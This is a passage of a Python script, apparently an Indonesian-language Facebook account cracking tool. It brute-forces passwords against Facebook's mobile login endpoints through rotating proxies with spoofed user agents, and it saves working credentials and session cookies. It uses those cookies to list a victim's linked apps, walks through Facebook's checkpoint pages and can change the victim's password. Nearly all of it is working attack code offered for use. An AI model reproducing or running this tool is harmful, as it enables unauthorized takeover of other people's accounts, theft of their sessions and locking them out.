  871.             p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fmobile.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fapp_id%3D1722713787887984%26cbt%3D1676027180738%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df363b0a73c19804%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%26client_id%3D1722713787887984%26display%3Dtouch%26domain%3Dwww.bilibili.tv%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Fid%252F%26locale%3Den_US%26logger_id%3Df3d20d066ff6254%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df14522bfee17014%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%2526frame%253Df185d306bc50d08%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv14.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df14522bfee17014%26domain%3Dwww.bilibili.tv%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Ff20019dbd9069f8%26relation%3Dopener%26frame%3Df185d306bc50d08%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdc=1&_rdr')
  872.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login.php?skip_api_login=1&api_key=1722713787887984&kid_directed_site=0&app_id=1722713787887984&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fapp_id%3D1722713787887984%26cbt%3D1676027180738%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df363b0a73c19804%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%26client_id%3D1722713787887984%26display%3Dtouch%26domain%3Dwww.bilibili.tv%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Fid%252F%26locale%3Den_US%26logger_id%3Df3d20d066ff6254%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df14522bfee17014%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%2526frame%253Df185d306bc50d08%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv14.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df14522bfee17014%26domain%3Dwww.bilibili.tv%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Ff20019dbd9069f8%26relation%3Dopener%26frame%3Df185d306bc50d08%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdc=1&_rdr","flow":"login_no_pin","pass":pw,}
  873.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  874.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  875.             heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  876.             po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  877.             if "checkpoint" in po.cookies.get_dict().keys():
  878.                     cp+=1
  879.                     tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  880.                     tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
  881.                     prints(tree)
  882.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  883.                     akun.append(idf+'|'+pw)
  884.                     break
  885.             elif "c_user" in ses.cookies.get_dict().keys():
  886.                 if 'no' in taplikasi:
  887.                     ok+=1
  888.                     coki=po.cookies.get_dict()
  889.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  890.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  891.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  892.                     prints(tree)
  893.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  894.                     break
  895.                 elif 'ya' in taplikasi:
  896.                     ok+=1
  897.                     coki=po.cookies.get_dict()
  898.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  899.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  900.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  901.                     prints(tree)
  902.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  903.                     cek_apk(kuki)
  904.                     break
  905.                
  906.             else:
  907.                 continue
  908.         except requests.exceptions.ConnectionError:
  909.             time.sleep(31)
  910.     loop+=1
  911.    
  912. #-----------------------[ METHOD REGULER ]--------------------#
  913. def reguler1(idf,pwv):
  914.     global loop,ok,cp
  915.     bo = random.choice([m,k,h,b,u,x])
  916.     ua = random.choice(ugen)
  917.     ua2 = random.choice(ugen2)
  918.     ses = requests.Session()
  919.     prog.update(des,description=f"{h}Mobile{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  920.     prog.advance(des)
  921.     for pw in pwv:
  922.         try:
  923.             if 'ya' in ualuh: ua = ualu[0]
  924.             nip=random.choice(prox)
  925.             proxs= {'http': 'socks5://'+nip}
  926.             ses.headers.update({"Host":"m.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  927.             p = ses.get('https://m.facebook.com/login/?email='+idf).text
  928.             dataa ={
  929. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  930. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  931. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  932. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  933. 'email':idf,
  934. 'pass':pw
  935. }
  936.             ses.headers.update({'Host': 'm.facebook.com',
  937. 'cache-control': 'max-age=0',
  938. 'upgrade-insecure-requests': '1',
  939. 'origin': 'https://m.facebook.com',
  940. 'content-type': 'application/x-www-form-urlencoded',
  941. 'user-agent': ua,
  942. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  943. 'sec-fetch-site': 'same-origin',
  944. 'sec-fetch-mode': 'cors',
  945. 'sec-fetch-user': 'empty',
  946. 'sec-fetch-dest': 'document',
  947. 'referer': 'https://m.facebook.com/login/?email='+idf,
  948. 'accept-encoding':'gzip, deflate br',
  949. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  950.  
  951.             po = ses.post('https://m.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  952.             if "checkpoint" in po.cookies.get_dict().keys():
  953.                     cp+=1
  954.                     tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  955.                     tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
  956.                     prints(tree)
  957.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  958.                     akun.append(idf+'|'+pw)
  959.                     break
  960.             elif "c_user" in ses.cookies.get_dict().keys():
  961.                 if 'no' in taplikasi:
  962.                     ok+=1
  963.                     coki=po.cookies.get_dict()
  964.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  965.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  966.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  967.                     prints(tree)
  968.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  969.                     break
  970.                 elif 'ya' in taplikasi:
  971.                     ok+=1
  972.                     coki=po.cookies.get_dict()
  973.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  974.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  975.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  976.                     prints(tree)
  977.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  978.                     cek_apk(kuki)
  979.                     break
  980.                
  981.             else:
  982.                 continue
  983.         except requests.exceptions.ConnectionError:
  984.             time.sleep(31)
  985.     loop+=1
  986.  
  987. def reguler2(idf,pwv):
  988.     global loop,ok,cp
  989.     bo = random.choice([m,k,h,b,u,x])
  990.     ua = random.choice(ugen)
  991.     ua2 = random.choice(ugen2)
  992.     ses = requests.Session()
  993.     prog.update(des,description=f"{h}Mbasic{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  994.     prog.advance(des)
  995.     for pw in pwv:
  996.         try:
  997.             if 'ya' in ualuh: ua = ualu[0]
  998.             nip=random.choice(prox)
  999.             proxs= {'http': 'socks5://'+nip}
  1000.             ses.headers.update({"Host":"mbasic.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1001.             p = ses.get('https://mbasic.facebook.com/login/?email='+idf).text
  1002.             dataa ={
  1003. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1004. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1005. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1006. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1007. 'email':idf,
  1008. 'pass':pw
  1009. }
  1010.             ses.headers.update({'Host': 'mbasic.facebook.com',
  1011. 'cache-control': 'max-age=0',
  1012. 'upgrade-insecure-requests': '1',
  1013. 'origin': 'https://mbasic.facebook.com',
  1014. 'content-type': 'application/x-www-form-urlencoded',
  1015. 'user-agent': ua,
  1016. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1017. 'sec-fetch-site': 'same-origin',
  1018. 'sec-fetch-mode': 'cors',
  1019. 'sec-fetch-user': 'empty',
  1020. 'sec-fetch-dest': 'document',
  1021. 'referer': 'https://mbasic.facebook.com/login/?email='+idf,
  1022. 'accept-encoding':'gzip, deflate br',
  1023. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1024.  
  1025.             po = ses.post('https://mbasic.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1026.             if "checkpoint" in po.cookies.get_dict().keys():
  1027.                     cp+=1
  1028.                     tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  1029.                     tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
  1030.                     prints(tree)
  1031.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1032.                     akun.append(idf+'|'+pw)
  1033.                     break
  1034.             elif "c_user" in ses.cookies.get_dict().keys():
  1035.                 if 'no' in taplikasi:
  1036.                     ok+=1
  1037.                     coki=po.cookies.get_dict()
  1038.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1039.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  1040.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  1041.                     prints(tree)
  1042.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1043.                     break
  1044.                 elif 'ya' in taplikasi:
  1045.                     ok+=1
  1046.                     coki=po.cookies.get_dict()
  1047.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1048.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  1049.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  1050.                     prints(tree)
  1051.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1052.                     cek_apk(kuki)
  1053.                     break
  1054.                
  1055.             else:
  1056.                 continue
  1057.         except requests.exceptions.ConnectionError:
  1058.             time.sleep(31)
  1059.     loop+=1
  1060.    
  1061. def reguler3(idf,pwv):
  1062.     global loop,ok,cp
  1063.     bo = random.choice([m,k,h,b,u,x])
  1064.     ua = random.choice(ugen)
  1065.     ua2 = random.choice(ugen2)
  1066.     ses = requests.Session()
  1067.     prog.update(des,description=f"{h}Free{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1068.     prog.advance(des)
  1069.     for pw in pwv:
  1070.         try:
  1071.             if 'ya' in ualuh: ua = ualu[0]
  1072.             nip=random.choice(prox)
  1073.             proxs= {'http': 'socks5://'+nip}
  1074.             ses.headers.update({"Host":"free.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://free.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1075.             p = ses.get('https://free.facebook.com/login/?email='+idf).text
  1076.             dataa ={
  1077. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1078. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1079. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1080. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1081. 'email':idf,
  1082. 'pass':pw
  1083. }
  1084.             ses.headers.update({'Host': 'free.facebook.com',
  1085. 'cache-control': 'max-age=0',
  1086. 'upgrade-insecure-requests': '1',
  1087. 'origin': 'https://free.facebook.com',
  1088. 'content-type': 'application/x-www-form-urlencoded',
  1089. 'user-agent': ua,
  1090. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1091. 'sec-fetch-site': 'same-origin',
  1092. 'sec-fetch-mode': 'cors',
  1093. 'sec-fetch-user': 'empty',
  1094. 'sec-fetch-dest': 'document',
  1095. 'referer': 'https://free.facebook.com/login/?email='+idf,
  1096. 'accept-encoding':'gzip, deflate br',
  1097. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1098.  
  1099.             po = ses.post('https://free.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1100.             if "checkpoint" in po.cookies.get_dict().keys():
  1101.                     cp+=1
  1102.                     tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  1103.                     tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
  1104.                     prints(tree)
  1105.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1106.                     akun.append(idf+'|'+pw)
  1107.                     break
  1108.             elif "c_user" in ses.cookies.get_dict().keys():
  1109.                 if 'no' in taplikasi:
  1110.                     ok+=1
  1111.                     coki=po.cookies.get_dict()
  1112.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1113.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  1114.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  1115.                     prints(tree)
  1116.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1117.                     break
  1118.                 elif 'ya' in taplikasi:
  1119.                     ok+=1
  1120.                     coki=po.cookies.get_dict()
  1121.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1122.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  1123.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  1124.                     prints(tree)
  1125.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1126.                     cek_apk(kuki)
  1127.                     break
  1128.                
  1129.             else:
  1130.                 continue
  1131.         except requests.exceptions.ConnectionError:
  1132.             time.sleep(31)
  1133.     loop+=1
  1134.  
  1135. #-----------------------[ CEK APLIKASI ]--------------------#
  1136. def cek_apk(kuki):
  1137.     session = requests.Session()
  1138.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
  1139.     sop = bs4.BeautifulSoup(w,"html.parser")
  1140.     x = sop.find("form",method="post")
  1141.     game = [i.text for i in x.find_all("h3")]
  1142.     try:
  1143.         for i in range(len(game)):
  1144.             print ("\r      %s%s. %s%s"%(P,i+1,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  1145.     except AttributeError:
  1146.         print ("\r    %s\033[0m cookie invalid"%(M))
  1147.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
  1148.     sop = bs4.BeautifulSoup(w,"html.parser")
  1149.     x = sop.find("form",method="post")
  1150.     game = [i.text for i in x.find_all("h3")]
  1151.     try:
  1152.         for i in range(len(game)):
  1153.             print ("\r      %s%s. %s%s"%(P,i+1,M,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
  1154.     except AttributeError:
  1155.         print ("\r    %s \033[0mcookie invalid"%(M))
  1156. #-----------------------[ DEF CEK OPSI ]--------------------#
  1157. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  1158. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  1159. from concurrent.futures import ThreadPoolExecutor
  1160. from bs4 import BeautifulSoup as parser
  1161. from threading import (Thread, Event)
  1162. from time import sleep as jeda
  1163. from datetime import datetime
  1164.  
  1165. ct = datetime.now()
  1166. n = ct.month
  1167. bulan_ = ['January', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  1168. try:
  1169.     if n < 0 or n > 12:
  1170.         exit()
  1171.     nTemp = n - 1
  1172. except ValueError:
  1173.     exit()
  1174.  
  1175. current = datetime.now()
  1176. hari = current.day
  1177. bulan = bulan_[nTemp]
  1178. tahun = current.year
  1179. bullan = current.month
  1180.  
  1181. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  1182. bulan12 = {"01": "January", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  1183.  
  1184. M = '\x1b[1;91m' # MERAH
  1185. H = '\x1b[1;92m' # HIJAU
  1186. K = '\x1b[1;93m' # KUNING
  1187. B = '\x1b[1;94m' # BIRU
  1188. U = '\x1b[1;95m' # UNGU
  1189. O = '\x1b[1;96m' # BIRU MUDA
  1190. P = '\x1b[1;97m' # PUTIH
  1191. J = '\033[38;2;255;127;0;1m' # ORANGE
  1192. N = '\x1b[0m' # WARNA MATI
  1193. acak = [M, H, K, B, U, O, P, J]
  1194. warna = random.choice(acak)
  1195. til ="\033[0m[+] "
  1196.  
  1197. def jalan(keliling):
  1198.     for mau in keliling + '\n':
  1199.         sys.stdout.write(mau)
  1200.         sys.stdout.flush();jeda(0.03)
  1201.        
  1202.        
  1203. ubah_pass = []
  1204. pwbaru = []
  1205. pwBaru = []
  1206. ubahP = []
  1207.  
  1208. def file_cp():
  1209.     dirs = os.listdir('CP')
  1210.     prints(Panel(f"""{P2}copy nama file hasil crack di bawah ini kemudian pastekan di bawah untuk cek opsi""",width=87,style=f"{color_panel}"))
  1211.     for file in dirs:
  1212.         prints(Panel(f"""{K2}{(file)}""",width=87,style=f"{color_panel}"))
  1213.     try:
  1214.         prints(Panel(f"""{P2}copy nama file di atas kemudian tempel di bawah ini contoh {M2}: {H2}{waktu}.txt""",width=87,style=f"{color_panel}"))
  1215.         opsi()
  1216.     except IOError:
  1217.         prints(Panel(f"""{M2}Tidak ada file untuk di cek silahkan crack dulu""",width=87,style=f"{color_panel}"))
  1218.         Menu().menu()
  1219.  
  1220. def opsi():
  1221.     CP = ("CP/")
  1222.     romi = console.input(f" {H2}• {P2}Tempel atau masukan nama file yang ingin di cek disini : ")
  1223.     if romi == "":
  1224.         prints(Panel(f"""{K2}isi yang benar""",width=87,style=f"{color_panel}"))
  1225.         opsi()
  1226.     try:
  1227.         file_cp = open(CP+romi, "r").readlines()
  1228.     except IOError:
  1229.         exit(prints(Panel(f"""{P2}nama file{K2} {(romi)} {P2}tidak di temukan""",width=87,style=f"{color_panel}")))
  1230.     prints(Panel(f"""{P2}sebelem melanjutkan hidupkan mode pesawat selama 10 detik""",width=87,style=f"{color_panel}"))
  1231.     pw=console.input(f" {H2}• {P2}ubah password ketika tab yes y/n : ")
  1232.     if pw in['y','Y']:
  1233.         ubah_pass.append("ubah_sandi")
  1234.         pw2=console.input(f" {H2}• {P2}Masukan Password baru :{H2} ")
  1235.         if len(pw2) <= 5:
  1236.             prints(Panel(f"""{K2}Sandi minimal 6 karakter""",width=87,style=f"{color_panel}"))
  1237.         else:
  1238.             pwbaru.append(pw2)
  1239.     prints(Panel(f"""{P2}Total akun {M2}:{H2} {str(len(file_cp))}""",width=87,style=f"{color_panel}"))
  1240.     nomor = 0
  1241.     for fb in file_cp:
  1242.         akun = fb.replace("\n","")
  1243.         ngecek  = akun.split("|")
  1244.         nomor+=1
  1245.         #print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  1246.         prints(Panel(f"""{P2}[{H2}{(str(nomor))}{P2}] {P2}Login Akun {K2}*--> {K2}{akun}""",width=83,style=f"{color_panel}"));jeda(0.10)
  1247.         try:
  1248.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1249.         except requests.exceptions.ConnectionError:
  1250.             continue
  1251.     print("\n")
  1252.     Console(width=30).print(Panel(f"[bold green]SELESAI MENGECEK OPSI", style=f"{color_panel}"),justify='left')
  1253.     console.input(f" {H2}• {P2}Tekan Enter")
  1254.     #console.input("%s%s%s [%s Tekan Enter Untuk Kembali%s ] "%(U,til,O,U,O))
  1255.     os.system("python run.py")
  1256.    
  1257. data = {}
  1258. data2 = {}
  1259.  
  1260. def mengecek(user,pw):
  1261.     global loop,ubah_pass,pwbaru
  1262.     session=requests.Session()
  1263.     ua = 'Mozilla/5.0 (Linux; Android 8.1.0; S45B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36'
  1264.     url = "https://mbasic.facebook.com"
  1265.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1266.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1267.     link=soup.find("form",{"method":"post"})
  1268.     for x in soup("input"):
  1269.         data.update({x.get("name"):x.get("value")})
  1270.     data.update({"email":user,"pass":pw})
  1271.     urlPost=session.post(url+link.get("action"),data=data)
  1272.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1273.     if "c_user" in session.cookies.get_dict():
  1274.         if "Akun Anda Dikunci" in urlPost.text:
  1275.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1276.         else:
  1277.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1278.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1279.     elif "checkpoint" in session.cookies.get_dict():
  1280.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1281.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1282.         link2=response.find("form",{"method":"post"})
  1283.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1284.         for x in response("input"):
  1285.             if x.get("name") in listInput:
  1286.                 data2.update({x.get("name"):x.get("value")})
  1287.         an=session.post(url+link2.get("action"),data=data2)
  1288.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1289.         cek=[cek.text for cek in response2.find_all("option")]
  1290.         number=0
  1291.         print("\r%s%s \033[0m terdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1292.         if(len(cek)==0):
  1293.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1294.                 if "ubah_sandi" in ubah_pass:
  1295.                     dat,dat2={},{}
  1296.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1297.                     for x in response("input"):
  1298.                         if x.get("name") in but:
  1299.                             dat.update({x.get("name"):x.get("value")})
  1300.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1301.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1302.                     link3=resUbah.find("form",{"method":"post"})
